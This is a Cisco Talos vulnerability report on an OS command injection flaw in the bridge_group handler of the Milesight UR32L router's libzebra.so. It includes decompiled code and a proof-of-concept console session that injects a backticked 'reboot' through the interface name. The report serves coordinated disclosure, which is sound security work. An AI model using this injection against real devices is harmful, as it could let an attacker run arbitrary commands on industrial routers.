Talos Vulnerability Report


Milesight UR32L libzebra.so bridge_group OS command injection vulnerability

July 6, 2023
CVE Number



An OS command injection vulnerability exists in the libzebra.so bridge_group functionality of Milesight UR32L v32.3.0.5. A specially crafted network packet can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.


The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5


UR32L - https://www.milesight-iot.com/cellular/router/ur32l/


7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)


The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the router console. This is an interactive shell to modify the router settings.

Here is the prompt after the login:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

Product Model        : UR32L
Firmware Version     :


The service has several functionalities. The number of functionalities depends on the user privileges. Indeed, the admin user can access the enable command, which will allow access to a high privilege command menu:

ROUTER> enable 
  clear             Reset functions
  configure         Configuration from vty interface
  copy              Copy from one file to another
  core              Set debug level
  debug             Debugging functions (see also 'undebug')
  disable           Turn off privileged mode command
  enable            Turn on privileged mode command
  end               End current mode and change to enable mode
  exit              Exit current mode and down to previous mode
  list              Print command list
  no                Negate a command or set its defaults
  ping              Send echo messages
  quit              Exit current mode and down to previous mode
  reload            Halt and perform a cold restart
  show              Show running system information
  ssh               Open an ssh connection
  telnet            Open a telnet connection
  terminal          Set terminal line parameters
  test              Test
  traceroute        Trace route to destination
  undebug           Disable debugging functions (see also 'debug')
  write             Write running configuration to memory, network, or terminal

Issuing the configure terminal command permits access to the interface <interface_name> command that configures a network interface. Several configuration are available for the interfaces; one of them is the command bridge-group <1-10> that is used to add the interface to a bridge.

An example of using this functionality follows:

ROUTER> enable 
ROUTER# configure terminal 
ROUTER(config)# interface eth4
ROUTER(config-if)# bridge-group 2

This will add eth4 to the bridge number 2. The function responsible for managing the bridge-group command is the libzebra.so.0.0.0’s bridge_group function:

void bridge_group(undefined4 param_1,interface_struct *interface_struct,undefined4 param_3,
                 char **argv)

 [... variable declaration ...]

  puVar6 = (undefined4 *)0x0;
  local_2c = __stack_chk_guard;
  interface_name = interface_struct->interface_name;                                                            [1]
  bridge_group_n = atoi(*argv);
  piVar5 = (int *)0x0;
  snprintf(ifconfig_command,0x40,"ifconfig %s",interface_name);                                         [2]
  system(ifconfig_command);                                                                                     [3]

At [1], the <interface_name> provided is fetched (in the example above, it is eth4). At [2] the ifconfig <interface_name> string is composed and then used as argument of the system function at [3]. Because the <interface_name> is eventually used in the system function, the bridge_group is vulnerable to a command injection vulnerability.

Exploit Proof of Concept

Following a POC triggering a reboot of the system through the command injection exposes above:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

Product Model        : UR32L
Firmware Version     :

ROUTER> enable 
ROUTER# configure terminal 
ROUTER(config)# interface `reboot`
ROUTER(config-if)# bridge-group 2
bridge.c:366 bridge_group: use command 'bridge <1-10>' to creates a new ethernet bridge!
ROUTER(config-if)# Connection closed by foreign host.

The Connection closed by foreign host. is the consequence of the device rebooting.


Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html


2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release


Discovered by Francesco Benvenuto of Cisco Talos.